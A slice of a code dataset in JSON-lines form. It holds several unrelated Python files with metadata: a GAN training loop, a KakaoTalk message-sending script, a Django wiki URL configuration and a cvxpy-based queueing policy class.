dimg_loss_gan = xa_gan_loss + xb__gan_loss\n gp = models.gradient_penalty(Dimg, xa)\nelif mode == 'dcgan': # dcgan-gp\n xa_gan_loss = tf.reduce_mean(\n tf.nn.sigmoid_cross_entropy_with_logits(\n labels=tf.ones_like(xa_logit_gan), \n logits=xa_logit_gan\n )\n )\n xb__gan_loss = tf.reduce_mean(\n tf.nn.sigmoid_cross_entropy_with_logits(\n labels=tf.zeros_like(xb__logit_gan), \n logits=xb__logit_gan\n )\n )\n dimg_loss_gan = xa_gan_loss + xb__gan_loss\n gp = models.gradient_penalty(Dimg, xa)\n\nxa_loss_cls = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=a, logits=xa_logit_cls))\ndimg_loss = dimg_loss_gan + gp * 10.0 + xa_loss_cls\n\n# generator losses\nif mode == 'wgan':\n xb__loss_gan = -tf.reduce_mean(xb__logit_gan)\nelif mode == 'lsgan':\n xb__loss_gan = tf.losses.mean_squared_error(tf.ones_like(xb__logit_gan), xb__logit_gan)\nelif mode == 'dcgan':\n xb__loss_gan = tf.losses.sigmoid_cross_entropy(tf.ones_like(xb__logit_gan), xb__logit_gan)\n\nxa_iden_loss_gan = tf.reduce_mean(\n tf.nn.sigmoid_cross_entropy_with_logits(\n labels=tf.ones_like(xa_iden_logit_gan), \n logits=xa_iden_logit_gan\n )\n )\nxb__loss_cls = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=b, logits=xb__logit_cls))\nxa__loss_rec = tf.losses.absolute_difference(xa, xa_)\nxb__loss_idp = id_preserve(vgg_weights, xa, xb_) # identity preserve loss\ng_loss = xb__loss_gan + xb__loss_cls * 10.0 + xa__loss_rec * 100.0 + xa_iden_loss_gan + xb__loss_idp\n\n# optim\ndz_var = tf.trainable_variables('Dz')\ndz_step = tf.train.AdamOptimizer(lr, beta1=0.5).minimize(dz_loss, var_list=dz_var)\n\ndimg_var = tl.trainable_variables('Dimg')\ndimg_step = tf.train.AdamOptimizer(lr, beta1=0.5).minimize(dimg_loss, var_list=dimg_var)\n\ng_var = tl.trainable_variables('G')\ng_step = tf.train.AdamOptimizer(lr, beta1=0.5).minimize(g_loss, var_list=g_var)\n\n# summary\nd_summary = tl.summary({\n dz_loss: 'dz_loss',\n dimg_loss: 'dimg_loss',\n dimg_loss_gan: 'dimg_loss_gan',\n gp: 'gp',\n xa_loss_cls: 'xa_loss_cls',\n}, scope='Dimg')\n\nlr_summary = tl.summary({lr: 'lr'}, scope='Learning_Rate')\n\ng_summary = tl.summary({\n g_loss: 'g_loss',\n xb__loss_gan: 'xb__loss_gan',\n xb__loss_cls: 'xb__loss_cls',\n xa__loss_rec: 'xa__loss_rec',\n xb__loss_idp: 'xb__loss_idp',\n xa_iden_loss_gan: 'xa_iden_loss_gan'\n}, scope='G')\n\nd_summary = tf.summary.merge([d_summary, lr_summary])\n\n# sample\nx_sample = Gdec(Genc(xa_sample, is_training=False), _b_sample, is_training=False)\nx_sample_rand = Gdec([rand_iden], _b_sample, is_training=False)\n\n\n# ==============================================================================\n# = train =\n# ==============================================================================\n\n# iteration counter\nit_cnt, update_cnt = tl.counter()\n\n# saver\nsaver = tf.train.Saver(max_to_keep=1)\n\n# summary writer\nsummary_writer = tf.summary.FileWriter('./output/%s/summaries' % experiment_name, sess.graph)\n\n# initialization\nckpt_dir = './output/%s/checkpoints' % experiment_name\npylib.mkdir(ckpt_dir)\ntry:\n tl.load_checkpoint(ckpt_dir, sess)\nexcept:\n sess.run(tf.global_variables_initializer())\n\n# train\ntry:\n # data for sampling\n xa_sample_ipt, a_sample_ipt = sa_data.get_next()\n zero_hot = np.zeros([n_sample,n_classes])\n tmp = np.array(zero_hot, copy=True)\n tmp[range(n_sample), a_sample_ipt] = 1\n b_sample_ipt_list = [tmp] # the first is for reconstruction\n for i in range(n_classes):\n tmp = np.array(zero_hot, copy=True)\n tmp[:, i] = 1\n b_sample_ipt_list.append(tmp)\n\n it_per_epoch = len(tr_data) // (batch_size * (n_d+1))\n max_it = epoch * it_per_epoch\n for it in range(sess.run(it_cnt), max_it):\n with pylib.Timer(is_output=False) as t:\n sess.run(update_cnt)\n\n # which epoch\n epoch = it // it_per_epoch\n it_in_epoch = it % it_per_epoch + 1\n\n # learning rate\n lr_ipt = lr_base / (10 ** (epoch // 1000)) # !!!!!\n \n n_dz = 1\n for i in range(n_dz):\n d_summary_opt, _, dz_lossv = sess.run([d_summary, dz_step, dz_loss],\n feed_dict={lr: lr_ipt,\n rand_z: data.rand_iden([batch_size,z_dim])})\n # train D\n for i in range(n_d):\n d_summary_opt, _, dimg_lossv = sess.run([d_summary, dimg_step, dimg_loss],\n feed_dict={lr: lr_ipt,\n rand_z: data.rand_iden([batch_size,z_dim])})\n summary_writer.add_summary(d_summary_opt, it)\n\n # train G\n g_summary_opt, _, g_lossv = sess.run([g_summary, g_step, g_loss], \n feed_dict={lr: lr_ipt,\n rand_z: data.rand_iden([batch_size,z_dim])})\n summary_writer.add_summary(g_summary_opt, it)\n\n # display\n if (it + 1) % 1 == 0:\n print(\"Iter: (%d/%d) Epoch: (%d)(%d/%d) g_loss: %.4f d_loss: %.4f dz_loss: %.4f Time: %s!\" % (\n it, max_it, epoch, it_in_epoch, it_per_epoch, g_lossv, dimg_lossv, dz_lossv, t))\n # save\n if (it + 1) % 1000 == 0:\n save_path = saver.save(sess, '%s/Epoch_(%d)_(%dof%d).ckpt' % (ckpt_dir, epoch, it_in_epoch, it_per_epoch))\n print('Model is saved at %s!' % save_path)\n\n # sample\n if (it + 1) % 100 == 0:\n x_sample_opt_list = [xa_sample_ipt, np.full((n_sample, img_size, img_size // 10, 3), -1.0)] # 输入图右边一小列黑色间隔\n rand_sample_opt_list = [np.full((batch_size, img_size, img_size // 10, 3), -1.0)] # rand图左边一小列黑色间隔，与imgs from face representation隔开\n for i, b_sample_ipt in enumerate(b_sample_ipt_list):\n _b_sample_ipt = (b_sample_ipt * 2 - 1) * thres_int\n if i > 0:\n _b_sample_ipt[..., i - 1] = _b_sample_ipt[..., i - 1] * test_int / thres_int\n x_sample_eval, rand_sample_eval = sess.run([x_sample,x_sample_rand], feed_dict={\n xa_sample: xa_sample_ipt, \n _b_sample:_b_sample_ipt,\n rand_z: data.rand_iden([n_sample,z_dim])})\n x_sample_opt_list.append(x_sample_eval)\n if i>0: # 不用reconstruction\n rand_sample_opt_list.append(rand_sample_eval) # 从uniform distribution生成的\n x_sample_opt_list += rand_sample_opt_list\n sample = np.concatenate(x_sample_opt_list, 2) # [n_sample, img_size, (img_size + (img_size//10) + img_size+...), 3)\n\n save_dir = './output/%s/sample_training' % experiment_name\n pylib.mkdir(save_dir)\n im.imwrite(im.immerge(sample, n_sample, 1), '%s/Iter_(%d)_Epoch_(%d)_(%dof%d).jpg' % (save_dir, it, epoch, it_in_epoch, it_per_epoch))\nexcept:\n traceback.print_exc()\nfinally:\n save_path = saver.save(sess, '%s/Epoch_(%d)_(%dof%d).ckpt' % (ckpt_dir, epoch, it_in_epoch, it_per_epoch))\n print('Model is saved at %s!' % save_path)\n sess.close()\n\n", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 14926, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 29, "usage_type": "call"}, {"api_name": "pylib.mkdir", "line_number": 88, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 90, "usage_type": "call"}, {"api_name": "tflib.session", "line_number": 98, "usage_type": "call"}, {"api_name": "data.ImgDataPair", "line_number": 99, "usage_type": "call"}, {"api_name": "data.ImgDataPair", "line_number": 101, "usage_type": "call"}, {"api_name": "data.ImgDataPair", "line_number": 103, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 108, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 111, "usage_type": "call"}, {"api_name": "models.Genc", "line_number": 111, "usage_type": "attribute"}, {"api_name": "functools.partial", "line_number": 112, "usage_type": "call"}, {"api_name": "models.Gdec", "line_number": 112, "usage_type": "attribute"}, {"api_name": "functools.partial", "line_number": 113, "usage_type": "call"}, {"api_name": "models.Dimg", "line_number": 113, "usage_type": "attribute"}, {"api_name": "functools.partial", "line_number": 114, "usage_type": "call"}, {"api_name": "models.Dz", "line_number": 114, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 117, "usage_type": "attribute"}, {"api_name": "tensorflow.one_hot", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.random_shuffle", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 125, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 127, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.random_uniform", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.to_float", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.truncated_normal", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 133, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 134, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 135, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 135, "usage_type": "attribute"}, {"api_name": "tensorflow.one_hot", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 143, "usage_type": "call"}, {"api_name": "tflib.shape", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.control_dependencies", "line_number": 146, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 158, "usage_type": "call"}, {"api_name": "tensorflow.nn.sigmoid_cross_entropy_with_logits", "line_number": 159, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 159, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros_like", "line_number": 160, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 164, "usage_type": "call"}, {"api_name": "tensorflow.nn.sigmoid_cross_entropy_with_logits", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 165, "usage_type": "attribute"}, {"api_name": "tensorflow.ones_like", "line_number": 166, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 174, "usage_type": "call"}, {"api_name": "models.gradient_penalty", "line_number": 176, "usage_type": "call"}, {"api_name": "tensorflow.losses.mean_squared_error", "line_number": 178, "usage_type": "call"}, {"api_name": "tensorflow.losses", "line_number": 178, "usage_type": "attribute"}, {"api_name": "tensorflow.ones_like", "line_number": 178, "usage_type": "call"}, {"api_name": "tensorflow.losses.mean_squared_error", "line_number": 179, "usage_type": "call"}, {"api_name": "tensorflow.losses", "line_number": 179, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros_like", "line_number": 179, "usage_type": "call"}, {"api_name": "models.gradient_penalty", "line_number": 181, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 183, "usage_type": "call"}, {"api_name": "tensorflow.nn.sigmoid_cross_entropy_with_logits", "line_number": 184, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 184, "usage_type": "attribute"}, {"api_name": "tensorflow.ones_like", "line_number": 185, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 189, "usage_type": "call"}, {"api_name": "tensorflow.nn.sigmoid_cross_entropy_with_logits", "line_number": 190, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 190, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros_like", "line_number": 191, "usage_type": "call"}, {"api_name": "models.gradient_penalty", "line_number": 196, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 198, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax_cross_entropy_with_logits", "line_number": 198, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 198, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 203, "usage_type": "call"}, {"api_name": "tensorflow.losses.mean_squared_error", "line_number": 205, "usage_type": "call"}, {"api_name": "tensorflow.losses", "line_number": 205, "usage_type": "attribute"}, {"api_name": "tensorflow.ones_like", "line_number": 205, "usage_type": "call"}, {"api_name": "tensorflow.losses.sigmoid_cross_entropy", "line_number": 207, "usage_type": "call"}, {"api_name": "tensorflow.losses", "line_number": 207, "usage_type": "attribute"}, {"api_name": "tensorflow.ones_like", "line_number": 207, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 209, "usage_type": "call"}, {"api_name": "tensorflow.nn.sigmoid_cross_entropy_with_logits", "line_number": 210, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 210, "usage_type": "attribute"}, {"api_name": "tensorflow.ones_like", "line_number": 211, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 215, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax_cross_entropy_with_logits", "line_number": 215, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 215, "usage_type": "attribute"}, {"api_name": "tensorflow.losses.absolute_difference", "line_number": 216, "usage_type": "call"}, {"api_name": "tensorflow.losses", "line_number": 216, "usage_type": "attribute"}, {"api_name": "vggface.id_preserve", "line_number": 217, "usage_type": "call"}, {"api_name": "tensorflow.trainable_variables", "line_number": 221, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 222, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 222, "usage_type": "attribute"}, {"api_name": "tflib.trainable_variables", "line_number": 224, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 225, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 225, "usage_type": "attribute"}, {"api_name": "tflib.trainable_variables", "line_number": 227, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 228, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 228, "usage_type": "attribute"}, {"api_name": "tflib.summary", "line_number": 231, "usage_type": "call"}, {"api_name": "tflib.summary", "line_number": 239, "usage_type": "call"}, {"api_name": "tflib.summary", "line_number": 241, "usage_type": "call"}, {"api_name": "tensorflow.summary.merge", "line_number": 250, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 250, "usage_type": "attribute"}, {"api_name": "tflib.counter", "line_number": 262, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 265, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 265, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.FileWriter", "line_number": 268, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 268, "usage_type": "attribute"}, {"api_name": "pylib.mkdir", "line_number": 272, "usage_type": "call"}, {"api_name": "tflib.load_checkpoint", "line_number": 274, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 287, "usage_type": "call"}, {"api_name": "pylib.Timer", "line_number": 294, "usage_type": "call"}, {"api_name": "data.rand_iden", "line_number": 308, "usage_type": "call"}, {"api_name": "data.rand_iden", "line_number": 313, "usage_type": "call"}, {"api_name": "data.rand_iden", "line_number": 319, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 334, "usage_type": "call"}, {"api_name": "data.rand_iden", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 347, "usage_type": "call"}, {"api_name": "pylib.mkdir", "line_number": 350, "usage_type": "call"}, {"api_name": "imlib.imwrite", "line_number": 351, "usage_type": "call"}, {"api_name": "imlib.immerge", "line_number": 351, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 353, "usage_type": "call"}]} +{"seq_id": "356335915", "text": "import json\nimport requests\nimport kakao_utils\n\nKAKAO_TOKEN_FILENAME = \"res/kakao_message/kakao_token.json\"\nKAKAO_APP_KEY = \"My REST Key\"\n\ntokens = kakao_utils.update_tokens(KAKAO_APP_KEY, KAKAO_TOKEN_FILENAME)\n# 업데이트한 토큰 저장하기\n#save_tokens(KAKAO_TOKEN_FILENAME, tokens)\n\nurl = \"https://kapi.kakao.com/v2/api/talk/memo/default/send\"\n\nheaders = {\n \"Authorization\": \"Bearer \" + tokens['access_token']\n}\n\ntemplate = {\n \"object_type\" : \"list\",\n \"header_title\" : \"초밥 사진\",\n \"header_link\" : {\n \"web_url\" : \"www.naver.com\",\n \"mobile_web_url\" : \"www.naver.com\"\n },\n \"contents\" : [\n {\n \"title\" : \"1. 광어초밥\",\n \"description\" : \"광어는 맛있다\",\n \"image_url\" : \"https://search1.kakaocdn.net/argon/0x200_85_hr/8x5qcdbcQwi\",\n \"image_width\" : 50, \"image_height\" : 50,\n \"link\" : {\n \"web_url\" : \"www.naver.com\",\n \"mobile_web_url\" : \"www.naver.com\"\n }\n },\n {\n \"title\" : \"2. 참치초밥\",\n \"description\" : \"참치는 맛있다\",\n \"image_url\" : \"https://search2.kakaocdn.net/argon/0x200_85_hr/IjIToH1S7J1\",\n \"image_width\" : 50, \"image_height\" : 50,\n \"link\" : {\n \"web_url\" : \"www.naver.com\",\n \"mobile_web_url\" : \"www.naver.com\"\n }\n }\n\n ],\n \"buttons\" : [\n {\n \"title\" : \"웹으로 이동\",\n \"link\" : {\n \"web_url\" : \"www.naver.com\",\n \"mobile_web_url\" : \"www.naver.com\"\n }\n }\n ]\n\n}\n\ndata = {\n \"template_object\" : json.dumps(template)\n}\n\n# 나에게 카카오톡 메시지 보내기 요청(list)\nresponse = requests.post(url, data=data, headers=headers)\nprint(response.status_code)\n\n# 요청에 실패했다면,\nif response.status_code != 200:\n print(\"error! because \", response.json())\nelse: # 성공했다면,\n print('메시지를 성공적으로 보냈습니다.')\n", "sub_path": "firstcode/2장/ch2_SendTextMsg2.py", "file_name": "ch2_SendTextMsg2.py", "file_ext": "py", "file_size_in_byte": 2030, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "kakao_utils.update_tokens", "line_number": 8, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 61, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 65, "usage_type": "call"}]} +{"seq_id": "134412006", "text": "from django.urls import path\nfrom . import views, api, api_v1\n\nurlpatterns = [\n # ---- views -------------------------------------------------------\n path('', views.page_crschool),\n path('author/', views.page_author),\n path('author/publish//', views.page_publish),\n path('author/republish///', views.page_publish),\n path('author/logout/', views.author_logout),\n\n # 为了接住前端路由\n path('topic//', views.page_reading_topic),\n path('book//', views.page_reading_topic, name=\"reading_book\"),\n path('chapter//', views.page_specific_article),\n path('article//', views.page_specific_article),\n\n\n # 为了捕获旧版myfange.com\n path('t//', views.redirect_t),\n path('s//', views.redirect_s),\n path('c//', views.redirect_s),\n path('p//', views.redirect_p),\n\n # ------api----------------------------------------------------------------\n path('api/get/wiki-topic/', api.get_topic_published), # 已弃用\n path('api/get/wiki-tree//', api.api_get_topic_tree), # 已弃用\n path('api/get/topic//', api.api_get_topic_page_content), # 已弃用\n path('api/get/book//', api.api_get_topic_page_content), # 已弃用\n path('api/get/chapter//', api.api_get_chapter_page_content), # 已弃用\n path('api/get/article//', api.api_get_article_page_content), # 已弃用\n path('api/get/wiki-topic/by/author/', api.get_topics_by_author), # 已弃用\n\n path('api/post/create/wiki/', api.api_create_wiki_), # 正在使用，暂未迁移到api_v1\n path('api/post/update/wiki/', api.api_update_wiki), # 正在使用，暂未迁移到api_v1\n\n path('api/get/form///',\n api.get_form_fields), # 正在使用，暂未迁移到api_v1\n path('api/get/wiki-topic/read-perm//',\n api.get_topic_read_perm), # 正在使用，暂未迁移到api_v1\n path('api/get/wiki-set/read-perm//',\n api.get_set_read_perm), # 正在使用，暂未迁移到api_v1\n\n # new api: api///\n path('api/v1/web/create/wiki/', api_v1.create_wiki),\n path('api/v1/web/update/wiki/', api_v1.update_wiki),\n path('api/v1/web/get/form/', api_v1.get_form),\n path('api/v1/web/get/read_perm/', api_v1.get_read_perm),\n\n path('api/v1/web/get/topics_by_plate/', api_v1.get_topics_by_plate),\n path('api/v1/web/get/topics_by_author/',\n api_v1.get_topics_by_author), # 已启用\n path('api/v1/web/get/topics_published/',\n api_v1.get_topics_published), # 已启用\n path('api/v1/web/get/topic_tree/', api_v1.get_topic_tree), # 已启用\n path('api/v1/web/get/article/', api_v1.get_article), # 已启用\n path('api/v1/web/get/who_i_am/', api_v1.who_i_am), # 已启用\n\n\n path('api/v1/web/get/all_articles/', api_v1.get_all_articles),\n path('api/v1/web/get/recom/', api_v1.get_recom),\n path('api/v1/web/get/keywords/', api_v1.get_keywords_by_md),\n path('api/v1/web/get/all_keywords/',api_v1.get_all_keywords),\n path('api/v1/web/get/articles_by_key/',api_v1.get_articles_by_key)\n]\n", "sub_path": "wiki/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 3169, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 45, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 47, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 48, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 50, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 53, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 55, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 56, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 57, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 60, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 61, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 62, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 63, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "530377909", "text": "from copy import deepcopy\nfrom typing import Tuple, Optional, Dict\n\nimport numpy as np\nimport cvxpy as cvx\nimport snc.utils.snc_types as types\nimport snc.agents.hedgehog.policies.policy_utils as policy_utils\nfrom snc.simulation.store_data.numpy_encoder import clean_to_serializable\n\n\nclass BigStepWBoundPolicy:\n\n def __init__(self,\n cost_per_buffer: types.StateSpace,\n constituency_matrix: types.ConstituencyMatrix,\n demand_rate: types.StateSpace,\n buffer_processing_matrix: types.BufferMatrix,\n workload_mat: types.WorkloadMatrix,\n convex_solver: str = 'cvx.CPLEX',\n norm1_penalty_flag: bool = False) -> None:\n \"\"\"\n This variant of BigStepPolicy (will be inhereted through refactoring) computes fluid\n policy rates with end state after horizon timesteps constrained by upper bound values\n in workload space (w_bound). This is different from current approach in BigStepPolicy\n where a non-idling penalty is used to extend myopic fluid policy.\n\n :param cost_per_buffer: from the environment.\n :param constituency_matrix: from the environment.\n :param demand_rate: from the environment\n :param buffer_processing_matrix: from job generator (the environment).\n :param workload_mat: workload matrix.\n :param convex_solver: method to solve the LP.\n :param norm1_penalty_flag: boolean that specifies whether we want to compute the norm 1 of\n the calling nonidling penalty vector. This is useful for testing purposes, when\n comparing the solution of this method with that of an LP with nonidling constraints,\n while using random matrices.\n \"\"\"\n self.cost_per_buffer = cost_per_buffer\n self.constituency_matrix = constituency_matrix\n self.demand_rate = demand_rate\n self.buffer_processing_matrix = buffer_processing_matrix\n self.workload_mat = workload_mat\n\n self._convex_solver = convex_solver\n self.norm1_penalty_flag = norm1_penalty_flag\n\n self.num_activities = constituency_matrix.shape[1]\n self.num_buffers = cost_per_buffer.shape[0]\n self.num_bottlenecks = self.workload_mat.shape[0] # Number of dimensions in workload space.\n\n self.pushing_buffer_processing_matrix = np.maximum(0, self.buffer_processing_matrix)\n\n self.load_ph = None # type: Optional[types.ResourceSpace]\n self.sigma_2_ph = None # type: Optional[types.ResourceSpace]\n\n self._lp_problem, self._state, self._horizon, self._penalty_grad, \\\n self._w_bound, self._z \\\n = self.create_big_step_policy_nonidling_penalty_lp_program()\n\n @property\n def convex_solver(self):\n return self._convex_solver\n\n @convex_solver.setter\n def convex_solver(self, convex_solver: str):\n self._convex_solver = convex_solver\n\n def update_safety_stock_params(self, load_ph: types.ResourceSpace,\n sigma_2_ph: types.ResourceSpace) -> None:\n \"\"\"\n :param load_ph: the load vector corresponding to physical resources.\n :param sigma_2_ph: the variance corresponding to physical resources.\n :return: None.\n \"\"\"\n self.load_ph = load_ph\n self.sigma_2_ph = sigma_2_ph\n\n def create_big_step_policy_nonidling_penalty_lp_program(self):\n z = cvx.Variable((self.num_activities, 1), nonneg=True)\n h = cvx.Variable(nonneg=True) # tolerance variable\n state = cvx.Parameter((self.num_buffers, 1))\n horizon = cvx.Parameter(nonneg=True)\n penalty_grad = cvx.Parameter((self.num_buffers, 1))\n w_bound = cvx.Parameter((self.num_bottlenecks, 1))\n\n cost_vec = self.cost_per_buffer.T @ self.buffer_processing_matrix \\\n + penalty_grad.T @ self.pushing_buffer_processing_matrix\n\n tol_penalty_coeff = 1e3\n tolerance_penalty = tol_penalty_coeff * np.sum(self.cost_per_buffer)\n\n # We aim to move in the direction (velocity) that minimises the cost. But note that we\n # can remove the demand rate term from the objective as it is just a constant that don't\n # influence the solution.\n obj_equation = cost_vec * z + tolerance_penalty * h\n objective = cvx.Minimize(obj_equation)\n\n constraints = [\n # Resource constraint.\n self.constituency_matrix @ z <= 1,\n # Nonnegative future state.\n state + (self.buffer_processing_matrix @ z + self.demand_rate) * horizon >= 0,\n # Future state in workload space not exceeding provided bound on workload values\n self.workload_mat @ (state + (self.buffer_processing_matrix @ z + self.demand_rate) \\\n * horizon) - h <= w_bound]\n\n lp_problem = cvx.Problem(objective, constraints)\n return lp_problem, state, horizon, penalty_grad, w_bound, z\n\n def big_step_policy_nonidling_penalty(self, state: types.StateSpace,\n penalty_grad: types.ColVector,\n w_bound: types.WorkloadSpace,\n horizon: int):\n \"\"\"\n Returns a schedule that is approximately optimal in the discounted cost sense for the\n number of time steps given by 'horizon' when starting at 'state'.\n\n :param state: current state of the environment.\n :param penalty_grad: the output of the safety stock.\n :param w_bound: provided bounds on workload values not to be exceeeded by fluid policy\n :param horizon: number of time steps that this policy should be performed.\n :return (z_star, opt_val):\n - z_star: matrix where columns are the actions for each of the horizon.\n - opt_val: value of the objective cost at z_star.\n \"\"\"\n assert horizon >= 1, f\"Horizon must be >= 1, but provided: {horizon}.\"\n\n # Update problem parameters\n self._state.value = state\n self._horizon.value = horizon\n self._penalty_grad.value = penalty_grad\n self._w_bound.value = w_bound\n\n opt_val = self._lp_problem.solve(solver=eval(self._convex_solver), warm_start=True)\n z_star = self._z.value\n return z_star, opt_val\n\n def get_policy(self,\n state: types.StateSpace,\n penalty_grad: types.ColVector,\n w_bound: types.WorkloadSpace,\n horizon: int) -> Tuple[types.ColVector, float]:\n \"\"\"\n Returns a vector of activity rates that is approximately optimal in the discounted cost\n sense for the number of time steps given by 'horizon', when starting at 'state'.\n This method just calls 'big_step_policy_nonidling_penalty' and it is been included to be\n easily overloaded by other policies, like the pure feedback policy.\n\n :param state: current state of the environment.\n :param penalty_grad: the output of the safety stock.\n :param w_bound: workload destination after moving horizon timesteps.\n :param horizon: horizon for computing the activity rates.\n :return (z_star, opt_val):\n - z_star: policy as a vector with activity rates to be used for the given horizon.\n - opt_val: value of the objective cost at z_star.\n \"\"\"\n z_star, opt_val = self.big_step_policy_nonidling_penalty(state, 